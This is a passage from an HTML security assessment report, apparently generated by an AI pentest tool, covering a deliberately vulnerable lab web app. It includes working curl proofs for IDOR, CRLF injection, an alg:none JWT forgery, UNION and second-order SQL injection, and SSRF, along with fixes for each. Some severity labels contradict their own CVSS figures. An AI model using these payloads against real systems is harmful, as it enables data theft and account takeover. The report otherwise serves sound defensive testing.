Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders.</p><h4>How to fix it</h4><p>Add server-side ownership check on GET /account/invoice/:id: load the invoice, then require invoice.userId === req.session.user.id (or an admin role) before rendering; return 403/404 otherwise. Use unguessable ids only as defence-in-depth, not as the control.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -o /dev/null -w '%{http_code}\n' http://localhost:3000/account/invoice/1001 # baseline no session -&gt; 302 login</pre></li><li><pre class=step>curl -s -c a.jar http://localhost:3000/register --data 'username=nrspltA&amp;email=nrsplt_A@example.test&amp;password=Passw0rdA!x'</pre></li><li><pre class=step>curl -s -b a.jar http://localhost:3000/account/invoice/1001 # attack: renders alice's invoice (Customer: alice, Total $29.99)</pre></li><li><pre class=step>curl -s -b a.jar http://localhost:3000/account/invoice/1002 # bob; /1003 carol -&gt; confirms enumeration</pre></li></ol><h4>Payload</h4><pre class=payload>GET /account/invoice/1001 (owner alice), /1002 (bob), /1003 (carol) while logged in as customer id 78/79</pre><h4>Technical evidence</h4><pre>ATTACK
GET http://localhost:3000/account/invoice/:id → 200
body (469 bytes, excerpt):
Logged-in customer A (id 78) GET /account/invoice/1001 -&gt; HTTP 200, body: 'Customer: alice', 'Total: $29.99', app's own banner 'IDOR confirmed: viewing another customer's invoice (owner: alice) without authorization. Flag: BURPAT{web_idor_invoice_aa8eeaa3}'. Same for 1002=bob ($89.99), 1003=carol ($349.00). Reproduced with a second independent account (B, id 79). Unauthenticated request -&gt; 302 to login (auth is required; ownership is not). PoC: pocs/bola_invoice.sh
AGENT-RECORDED EVIDENCE
Logged-in customer A (id 78) GET /account/invoice/1001 -&gt; HTTP 200, body: 'Customer: alice', 'Total: $29.99', app's own banner 'IDOR confirmed: viewing another customer's invoice (owner: alice) without authorization. Flag: BURPAT{web_idor_invoice_aa8eeaa3}'. Same for 1002=bob ($89.99), 1003=carol ($349.00). Reproduced with a second independent account (B, id 79). Unauthenticated request -&gt; 302 to login (auth is required; ownership is not). PoC: pocs/bola_invoice.sh</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/bola_invoice.sh"><code>pocs/bola_invoice.sh</code></a></li></ul></section><section class=finding style=border-left-color:#e67e22><h3><span class=sev style=background:#e67e22>High</span> 6. HTTP Response Splitting (CRLF header injection) at GET /go?url=</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>High</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-113</td><td class=fk>Confidence</td><td>1/1 · refute 1/2 · conf 0.70</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/go?url=</td></tr><tr><td class=fk>Agent</td><td>response_splitting</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>http://localhost:3000/go?url= — GET /go, query parameter `url` — value copied verbatim into the `Location` response header without stripping CR (%0d) / LF (%0a)</p><h4>What it means</h4><p>Attacker fully controls the response header block via a crafted link. Measured: arbitrary custom header (X-Injected) and arbitrary Set-Cookie injected into a 302 response. This enables cookie fixation (forced session/attribute cookies), and — combined with the existing open redirect on the same param — header-based cache poisoning / client-state manipulation against any victim who follows the link.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders. (potential CVSS 6.5 if fully exploited)</p><h4>How to fix it</h4><p>Do not place raw user input into header values. Strip/reject CR (\r), LF (\n) and %0d/%0a in `url` before building the `Location` header; use the framework's safe redirect API (res.redirect with a validated absolute URL from an allowlist) which encodes header values. Combine with a redirect-target allowlist to also close the open redirect.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -D - -o /dev/null 'http://localhost:3000/go?url=https://example.com' | grep -i '^location' # baseline: Location: https://example.com</pre></li><li><pre class=step>curl -s -D - -o /dev/null 'http://localhost:3000/go?url=https://example.com%0d%0aX-Injected:%20ns4171' | grep -iE '^(location|x-injected)' # attack: X-Injected: ns4171 present</pre></li><li><pre class=step>curl -s -D - -o /dev/null 'http://localhost:3000/go?url=https://example.com%0d%0aSet-Cookie:%20inj=1' | grep -i '^set-cookie' # attack: Set-Cookie: inj=1 present</pre></li></ol><h4>Payload</h4><pre class=payload>GET /go?url=https://example.com%0d%0aX-Injected:%20ns4171 (and ...%0d%0aSet-Cookie:%20inj=1)</pre><h4>Technical evidence</h4><pre>ATTACK
GET http://localhost:3000/go?url= → 200
body (420 bytes, excerpt):
Baseline `GET /go?url=https://example.com` -&gt; HTTP/1.1 302, `Location: https://example.com`. Attack `GET /go?url=https://example.com%0d%0aX-Injected:%20ns4171` -&gt; HTTP/1.1 302 with a NEW response header `X-Injected: ns4171` appearing after Location. Second payload `...%0d%0aSet-Cookie:%20inj=1` produced response header `Set-Cookie: inj=1`. CR/LF is decoded server-side, not encoded/stripped. Reproduced 2x identically.
AGENT-RECORDED EVIDENCE
Baseline `GET /go?url=https://example.com` -&gt; HTTP/1.1 302, `Location: https://example.com`. Attack `GET /go?url=https://example.com%0d%0aX-Injected:%20ns4171` -&gt; HTTP/1.1 302 with a NEW response header `X-Injected: ns4171` appearing after Location. Second payload `...%0d%0aSet-Cookie:%20inj=1` produced response header `Set-Cookie: inj=1`. CR/LF is decoded server-side, not encoded/stripped. Reproduced 2x identically.</pre></section><section class=finding style=border-left-color:#e67e22><h3><span class=sev style=background:#e67e22>High</span> 7. IDOR at GET /account/invoice/:id — customer reads other customers' invoices</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>High</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-639</td><td class=fk>Confidence</td><td>1/1 · refute 1/2 · receipt_missing · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/account/invoice/{1001,1002,1003}</td></tr><tr><td class=fk>Agent</td><td>chain</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/account/invoice/{1001,1002,1003}</p><h4>What it means</h4><p>Cross-customer disclosure of invoices (names, order totals, line items) by incrementing sequential ids.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders. (potential CVSS 9.1 if fully exploited)</p><h4>How to fix it</h4><p>Scope invoice lookup to the authenticated user's own records.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>Send the request carrying the payload:
curl -i -s \
'http://localhost:3000/account/invoice/{1001,1002,1003}'</pre></li><li><pre class=step>Payload used:
authenticated customer (id=90) session cookie; iterate invoice id</pre></li></ol><h4>Payload</h4><pre class=payload>authenticated customer (id=90) session cookie; iterate invoice id</pre><h4>Technical evidence</h4><pre>ATTACK
GET http://localhost:3000/account/invoice/{1001,1002,1003} → 200
body (232 bytes, excerpt):
Customer session reads invoice 1001 (owner alice, $29.99), 1002 (bob, $89.99), 1003 (carol, $349.00). App flag BURPAT{web_idor_invoice_aa8eeaa3} '...customer's invoice (owner: alice) without authorization'. pocs/idor_invoice_bola.sh
AGENT-RECORDED EVIDENCE
Customer session reads invoice 1001 (owner alice, $29.99), 1002 (bob, $89.99), 1003 (carol, $349.00). App flag BURPAT{web_idor_invoice_aa8eeaa3} '...customer's invoice (owner: alice) without authorization'. pocs/idor_invoice_bola.sh</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/idor_invoice_bola.sh"><code>pocs/idor_invoice_bola.sh</code></a></li></ul></section><section class=finding style=border-left-color:#3498db><h3><span class=sev style=background:#3498db>Low</span> 8. JWT signature bypass via alg:none — anonymous admin object access at GET /api/v2/users/:id <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Low</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A04:2021-Insecure-Design · CWE-347</td><td class=fk>Confidence</td><td>1/1 · refute 1/2 · conf 0.60</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/api/v2/users/1</td></tr><tr><td class=fk>Agent</td><td>chain</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_SCOPE_LIMITATION: the impact needs authenticated_session which this assessment could not reach; the mechanic stands · missing: an access-control claim needs the same resource requested as another identity</div><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/api/v2/users/1</p><h4>What it means</h4><p>Observed:
- attack GET http://localhost:3000/api/v2/users/1 → 200 (438 bytes) [E01]
- pocs/jwt_none_authbypass.sh — forged unsigned token (alg:none, id:1, role:admin, empty signature) accepted: returned admin full record {password:'SuperSecretAdmin!2024', apiKey:'nk_live_51Hc9adminSECRETkeydonot_share'}. Control HS256 token with junk sig rejected ('invalid signature'). No credentials used. evidence_ledger E01: forged alg:none -&gt; HTTP 200 admin JSON; E02: junk HS256 sig -&gt; {"error":"invalid signature"}. Reproduced 2x. [E02]
Not demonstrated: Unauthenticated full account takeover of any user incl admin; server verifies HS256 sig but honors alg:none, so any attacker mints an admin token and reads every user record (plaintext passwords + API keys).
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders. (potential CVSS 9.1 if fully exploited).
The assessment could not verify authenticated session — so this remains a potential impact rather than a demonstrated one.
Potential impact: Unauthenticated full account takeover of any user incl admin; server verifies HS256 sig but honors alg:none, so any attacker mints an admin token and reads every user record (plaintext passwords + API keys).
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders. (potential CVSS 9.1 if fully exploited).</p><h4>How to fix it</h4><p>Reject alg:none; pin allowed algorithm to HS256 server-side; never derive verification alg from the token header.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>Send the request carrying the payload:
curl -i -s \
'http://localhost:3000/api/v2/users/1'</pre></li><li><pre class=step>Payload used:
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4OTkzODgyMSwiZXhwIjoxNzk5OTQ2MDIxfQ.</pre></li></ol><h4>Payload</h4><pre class=payload>Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4OTkzODgyMSwiZXhwIjoxNzk5OTQ2MDIxfQ.</pre><h4>Technical evidence</h4><pre>ATTACK
GET http://localhost:3000/api/v2/users/1 → 200
body (438 bytes, excerpt):
pocs/jwt_none_authbypass.sh — forged unsigned token (alg:none, id:1, role:admin, empty signature) accepted: returned admin full record {password:'SuperSecretAdmin!2024', apiKey:'nk_live_51Hc9adminSECRETkeydonot_share'}. Control HS256 token with junk sig rejected ('invalid signature'). No credentials used. evidence_ledger E01: forged alg:none -&gt; HTTP 200 admin JSON; E02: junk HS256 sig -&gt; {"error":"invalid signature"}. Reproduced 2x.
AGENT-RECORDED EVIDENCE
pocs/jwt_none_authbypass.sh — forged unsigned token (alg:none, id:1, role:admin, empty signature) accepted: returned admin full record {password:'SuperSecretAdmin!2024', apiKey:'nk_live_51Hc9adminSECRETkeydonot_share'}. Control HS256 token with junk sig rejected ('invalid signature'). No credentials used. evidence_ledger E01: forged alg:none -&gt; HTTP 200 admin JSON; E02: junk HS256 sig -&gt; {"error":"invalid signature"}. Reproduced 2x.</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/jwt_none_authbypass.sh"><code>pocs/jwt_none_authbypass.sh</code></a></li></ul></section><section class=finding style=border-left-color:#3498db><h3><span class=sev style=background:#3498db>Low</span> 9. BOLA + excessive data exposure at GET /api/v2/users/:id — customer token reads any user incl admin cleartext… <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Low</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-639</td><td class=fk>Confidence</td><td>1/1 · refute 0/2 · receipt_missing · conf 0.60</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/api/v2/users/1</td></tr><tr><td class=fk>Agent</td><td>chain</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_SCOPE_LIMITATION: the impact needs authenticated_session which this assessment could not reach; the mechanic stands · missing: an access-control claim needs the same resource requested as another identity</div><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/api/v2/users/1</p><h4>What it means</h4><p>Observed:
- attack GET http://localhost:3000/api/v2/users/1 → 200 (432 bytes) [E01]
- Registered customer nrsplt_26628 (JWT id=89, role=customer). GET /api/v2/users/1 with that token returned: {"id":1,"username":"admin",...,"password":"SuperSecretAdmin!2024","role":"admin","apiKey":"nk_live_51Hc9adminSECRETkeydonot_share","_flag":"BURPAT{api_excessive_data_users_17874d4a}"}. Also id=2 alice password alice123. Identity A (id 89) read Identity B (id 1) full record; no ownership check. PoC: pocs/bola_api_v2_users.sh [E02]
Not demonstrated: Any authenticated customer enumerates all users and harvests cleartext admin/customer passwords + API keys -&gt; full account takeover.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders. (potential CVSS 9.1 if fully exploited).
The assessment could not verify authenticated session — so this remains a potential impact rather than a demonstrated one.
Potential impact: Any authenticated customer enumerates all users and harvests cleartext admin/customer passwords + API keys -&gt; full account takeover.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders. (potential CVSS 9.1 if fully exploited).</p><h4>How to fix it</h4><p>Enforce object-level authorization (token subject == :id or admin). Never return password/apiKey fields to clients.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>Send the request carrying the payload:
curl -i -s \
'http://localhost:3000/api/v2/users/1'</pre></li><li><pre class=step>Payload used:
Authorization: Bearer &lt;customer JWT id=89&gt; -&gt; GET /api/v2/users/1</pre></li></ol><h4>Payload</h4><pre class=payload>Authorization: Bearer &lt;customer JWT id=89&gt; -&gt; GET /api/v2/users/1</pre><h4>Technical evidence</h4><pre>ATTACK
GET http://localhost:3000/api/v2/users/1 → 200
body (432 bytes, excerpt):
Registered customer nrsplt_26628 (JWT id=89, role=customer). GET /api/v2/users/1 with that token returned: {"id":1,"username":"admin",...,"password":"SuperSecretAdmin!2024","role":"admin","apiKey":"nk_live_51Hc9adminSECRETkeydonot_share","_flag":"BURPAT{api_excessive_data_users_17874d4a}"}. Also id=2 alice password alice123. Identity A (id 89) read Identity B (id 1) full record; no ownership check. PoC: pocs/bola_api_v2_users.sh
AGENT-RECORDED EVIDENCE
Registered customer nrsplt_26628 (JWT id=89, role=customer). GET /api/v2/users/1 with that token returned: {"id":1,"username":"admin",...,"password":"SuperSecretAdmin!2024","role":"admin","apiKey":"nk_live_51Hc9adminSECRETkeydonot_share","_flag":"BURPAT{api_excessive_data_users_17874d4a}"}. Also id=2 alice password alice123. Identity A (id 89) read Identity B (id 1) full record; no ownership check. PoC: pocs/bola_api_v2_users.sh</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/bola_api_v2_users.sh"><code>pocs/bola_api_v2_users.sh</code></a></li></ul></section><section class=finding style=border-left-color:#3498db><h3><span class=sev style=background:#3498db>Low</span> 10. UNION-based SQL injection at GET /shop/search?q= — full user table with cleartext passwords exfiltrated <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Low</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-89</td><td class=fk>Confidence</td><td>1/1 · refute 0/2 · receipt_missing · conf 0.60</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/shop/search?q=</td></tr><tr><td class=fk>Agent</td><td>api_bola_numeric_ids</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_SCOPE_LIMITATION: the impact needs data_returned which this assessment could not reach; the mechanic stands · missing: no baseline was captured, so no difference can be attributed to the payload</div><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/shop/search?q= — Query parameter `q` on GET /shop/search. Concatenated into a `SELECT name, price, desc FROM products WHERE ...` (3 output columns). Single-quote breaks out; `-- -` / `#` comment. Unauthenticated.</p><h4>What it means</h4><p>Observed:
- attack GET http://localhost:3000/shop/search?q= → 200 (378 bytes) [E01]
- Baseline q=phone -&gt; 1 product row (Noise Cancelling Headphones). Attack q=' UNION SELECT username,password,role FROM users-- - -&gt; table of 80+ rows: admin|SuperSecretAdmin!2024|admin, alice|alice123|admin, bob|bobrocks|customer, carol|carolpw|customer, ... (bulk masked). Reproduced 2x identical. Screenshot: evidence/union-sqli-shop-users-dump.png. PoC: pocs/union_sqli_shop.sh [E02]
Not demonstrated: MEASURED: unauthenticated dump of the entire `users` table including cleartext passwords for admin and all customers. Directly yields admin credentials -&gt; full compromise.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders. (potential CVSS 9.4 if fully exploited).
The assessment could not verify data returned — so this remains a potential impact rather than a demonstrated one.
Potential impact: MEASURED: unauthenticated dump of the entire `users` table including cleartext passwords for admin and all customers. Directly yields admin credentials -&gt; full compromise.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders. (potential CVSS 9.4 if fully exploited).</p><h4>How to fix it</h4><p>Use parameterised/prepared statements for the search query; never string-concatenate `q`. Store passwords hashed. Add a least-privilege DB account.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s 'http://localhost:3000/shop/search?q=phone' # baseline: 1 product row</pre></li><li><pre class=step>curl -s "http://localhost:3000/shop/search?q=%27+UNION+SELECT+username%2Cpassword%2Crole+FROM+users--+-" # ATTACK: dumps users table</pre></li><li><pre class=step># repeat the attack once more -&gt; identical dump (reproducibility&gt;=2)</pre></li></ol><h4>Payload</h4><pre class=payload>q=' UNION SELECT username,password,role FROM users-- -</pre><h4>Technical evidence</h4><pre>ATTACK
GET http://localhost:3000/shop/search?q= → 200
body (378 bytes, excerpt):
Baseline q=phone -&gt; 1 product row (Noise Cancelling Headphones). Attack q=' UNION SELECT username,password,role FROM users-- - -&gt; table of 80+ rows: admin|SuperSecretAdmin!2024|admin, alice|alice123|admin, bob|bobrocks|customer, carol|carolpw|customer, ... (bulk masked). Reproduced 2x identical. Screenshot: evidence/union-sqli-shop-users-dump.png. PoC: pocs/union_sqli_shop.sh
AGENT-RECORDED EVIDENCE
Baseline q=phone -&gt; 1 product row (Noise Cancelling Headphones). Attack q=' UNION SELECT username,password,role FROM users-- - -&gt; table of 80+ rows: admin|SuperSecretAdmin!2024|admin, alice|alice123|admin, bob|bobrocks|customer, carol|carolpw|customer, ... (bulk masked). Reproduced 2x identical. Screenshot: evidence/union-sqli-shop-users-dump.png. PoC: pocs/union_sqli_shop.sh</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/union-sqli-shop-search-1.png" alt="proof for UNION-based SQL injection at GET /shop/search?q= — full user table with cleartext passwords exfiltrated"><figcaption>evidence/union-sqli-shop-search-1.png</figcaption></figure></div><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/union_sqli_shop.sh"><code>pocs/union_sqli_shop.sh</code></a></li></ul></section><section class=finding style=border-left-color:#3498db><h3><span class=sev style=background:#3498db>Low</span> 11. Second-order SQL injection — payload stored in profile bio executes inside admin GET /admin/search-users</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Low</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-89</td><td class=fk>Confidence</td><td>1/1 · refute 0/2 · receipt_missing · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>sink: GET http://localhost:3000/admin/search-users?q= ; source: POST http://localhost:3000/account/profile (field `bio`)</td></tr><tr><td class=fk>Agent</td><td>api_bola_numeric_ids</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>sink: GET http://localhost:3000/admin/search-users?q= ; source: POST http://localhost:3000/account/profile (field `bio`) — Source: field `bio` on POST /account/profile (any customer). Sink: GET /admin/search-users (admin-only) re-uses stored `bio` values unsanitised in its query (columns username,email,role,bio). A stored `' UNION SELECT ... FROM users-- -` in bio fires when an admin runs the search.</p><h4>What it means</h4><p>Observed:
- attack GET `bio`) → 200 (523 bytes) [E01]
- As customer nrsplt_4095 I POSTed the above bio. Admin then hit GET /admin/search-users?q=nrsplt_4095 -&gt; output contained my marker 'NS_OP_PROOF_4171' AND app banner: 'Second-order SQL injection confirmed - a stored bio (from ... nrsplt_4095) altered this unrelated query and dumped the full user table. Flag: BURPAT{web_sqli_second_order_01271d93}'. Marker attribution proves attacker-controlled input executed in the admin context. Screenshot: evidence/second-order-sqli-admin-search.png. PoC: pocs/secondorder_sqli_bio.sh [E02]
Not demonstrated: MEASURED: a low-privilege customer's stored `bio` altered the admin-only user-search query and dumped the full user table within the admin's session; my unique marker in the output proves the stored input executed server-side. Enables privilege-boundary-crossing data theft / query manipulation triggered by an admin.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders. (potential CVSS 9.4 if fully exploited).
The assessment could not verify command output observed, data returned — so this remains a potential impact rather than a demonstrated one.
Potential impact: MEASURED: a low-privilege customer's stored `bio` altered the admin-only user-search query and dumped the full user table within the admin's session; my unique marker in the output proves the stored input executed server-side. Enables privilege-boundary-crossing data theft / query manipulation triggered by an admin.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders. (potential CVSS 9.4 if fully exploited).</p><h4>How to fix it</h4><p>Parameterise the /admin/search-users query and treat all stored fields (bio) as data, not SQL. Encode on read; never re-embed stored values into new statements by concatenation.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -c j -X POST http://localhost:3000/register --data-urlencode username=nrsplt_$RANDOM --data-urlencode email=t@example.test --data-urlencode password=Pw!12345</pre></li><li><pre class=step>curl -s -b j -X POST http://localhost:3000/account/profile --data-urlencode "bio=zz' UNION SELECT 'NS_OP_PROOF','pw','pwned','x' FROM users-- -" # store payload</pre></li><li><pre class=step>curl -s -c ja -X POST http://localhost:3000/login --data-urlencode username=admin --data-urlencode 'password=SuperSecretAdmin!2024' # admin (creds from the BOLA/UNION findings)</pre></li><li><pre class=step>curl -s -b ja 'http://localhost:3000/admin/search-users?q=nrsplt' | grep -E 'NS_OP_PROOF|second-order|BURPAT' # marker + full-table dump in admin context</pre></li></ol><h4>Payload</h4><pre class=payload>bio = zz' UNION SELECT 'NS_OP_PROOF_4171',password,'pwned','x' FROM users WHERE username='admin'-- -</pre><h4>Technical evidence</h4><pre>ATTACK
GET `bio`) → 200
body (523 bytes, excerpt):
As customer nrsplt_4095 I POSTed the above bio. Admin then hit GET /admin/search-users?q=nrsplt_4095 -&gt; output contained my marker 'NS_OP_PROOF_4171' AND app banner: 'Second-order SQL injection confirmed - a stored bio (from ... nrsplt_4095) altered this unrelated query and dumped the full user table. Flag: BURPAT{web_sqli_second_order_01271d93}'. Marker attribution proves attacker-controlled input executed in the admin context. Screenshot: evidence/second-order-sqli-admin-search.png. PoC: pocs/secondorder_sqli_bio.sh
AGENT-RECORDED EVIDENCE
As customer nrsplt_4095 I POSTed the above bio. Admin then hit GET /admin/search-users?q=nrsplt_4095 -&gt; output contained my marker 'NS_OP_PROOF_4171' AND app banner: 'Second-order SQL injection confirmed - a stored bio (from ... nrsplt_4095) altered this unrelated query and dumped the full user table. Flag: BURPAT{web_sqli_second_order_01271d93}'. Marker attribution proves attacker-controlled input executed in the admin context. Screenshot: evidence/second-order-sqli-admin-search.png. PoC: pocs/secondorder_sqli_bio.sh</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/second-order-sqli-bio-1.png" alt="proof for Second-order SQL injection — payload stored in profile bio executes inside admin GET /admin/search-users"><figcaption>evidence/second-order-sqli-bio-1.png</figcaption></figure></div><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/secondorder_sqli_bio.sh"><code>pocs/secondorder_sqli_bio.sh</code></a></li></ul></section><section class=finding style=border-left-color:#3498db><h3><span class=sev style=background:#3498db>Low</span> 12. SSRF at POST /account/invoice/:id/export-pdf via letterheadUrl — server fetches arbitrary URL and reflects… <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Low</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A10:2021-SSRF · CWE-918</td><td class=fk>Confidence</td><td>1/1 · refute 1/2 · conf 0.60</td></tr><tr><td class=fk>Location</td><td colspan=3>POST http://localhost:3000/account/invoice/1001/export-pdf</td></tr><tr><td class=fk>Agent</td><td>chain</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_SCOPE_LIMITATION: the impact needs command_output_observed which this assessment could not reach; the mechanic stands · missing: a blind class needs a channel the harness controls to observe the callback</div><h4>Where the problem is</h4><p class=where>POST http://localhost:3000/account/invoice/1001/export-pdf</p><h4>What it means</h4><p>Observed:
- attack POST http://localhost:3000/account/invoice/1001/export-pdf → 200 (442 bytes) [E01]
- Started local canary at 127.0.0.1:9137 returning body 'NSCANARY_MARKER_7731'. POST export-pdf with letterheadUrl pointing at it -&gt; response body reflected: "status": 200, "body": "NSCANARY_MARKER_7731"; canary logged 'HIT /nsprobe'. Control test to closed port -&gt; reflected "error":"connect ECONNREFUSED 127.0.0.1:9137". Server-side fetch of attacker-controlled URL with full response retrieval confirmed. PoC: pocs/ssrf_invoice_letterhead.sh [E02]
Not demonstrated: Authenticated customer forces server to fetch internal/loopback/metadata URLs and reads the response body -&gt; internal service access, potential cloud metadata credential theft where reachable.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders.
The assessment could not verify command output observed — so this remains a potential impact rather than a demonstrated one.
Potential impact: Authenticated customer forces server to fetch internal/loopback/metadata URLs and reads the response body -&gt; internal service access, potential cloud metadata credential theft where reachable.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders.</p><h4>How to fix it</h4><p>Allowlist letterhead hosts/schemes (https only, no RFC1918/link-local), block redirects, do not reflect fetched body/errors.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>Send the request carrying the payload:
curl -i -s -X POST \
--data-raw 'letterheadUrl=http://127.0.0.1:9137/nsprobe' \
'http://localhost:3000/account/invoice/1001/export-pdf'</pre></li><li><pre class=step>Payload used:
letterheadUrl=http://127.0.0.1:9137/nsprobe</pre></li></ol><h4>Payload</h4><pre class=payload>letterheadUrl=http://127.0.0.1:9137/nsprobe</pre><h4>Technical evidence</h4><pre>ATTACK
POST http://localhost:3000/account/invoice/1001/export-pdf → 200
body (442 bytes, excerpt):
Started local canary at 127.0.0.1:9137 returning body 'NSCANARY_MARKER_7731'. POST export-pdf with letterheadUrl pointing at it -&gt; response body reflected: "status": 200, "body": "NSCANARY_MARKER_7731"; canary logged 'HIT /nsprobe'. Control test to closed port -&gt; reflected "error":"connect ECONNREFUSED 127.0.0.1:9137". Server-side fetch of attacker-controlled URL with full response retrieval confirmed. PoC: pocs/ssrf_invoice_letterhead.sh
AGENT-RECORDED EVIDENCE
Started local canary at 127.0.0.1:9137 returning body 'NSCANARY_MARKER_7731'. POST export-pdf with letterheadUrl pointing at it -&gt; response body reflected: "status": 200, "body": "NSCANARY_MARKER_7731"; canary logged 'HIT /nsprobe'. Control test to closed port -&gt; reflected "error":"connect ECONNREFUSED 127.0.0.1:9137". Server-side fetch of attacker-controlled URL with full response retrieval confirmed. PoC: pocs/ssrf_invoice_letterhead.sh</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/ssrf_invoice_letterhead.sh"><code>pocs/ssrf_invoice_letterhead.sh</code></a></li></ul></section><section class=finding style=border-left-color:#3498db><h3><span class=sev style=background:#3498db>Low</span> 13. Hardcoded internal support-tools bearer token &amp; QA build marker exposed in /app.js</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Low</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A07:2021-Auth-Failures · CWE-798</td><td class=fk>Confidence</td><td>1/1 · receipt_missing · conf 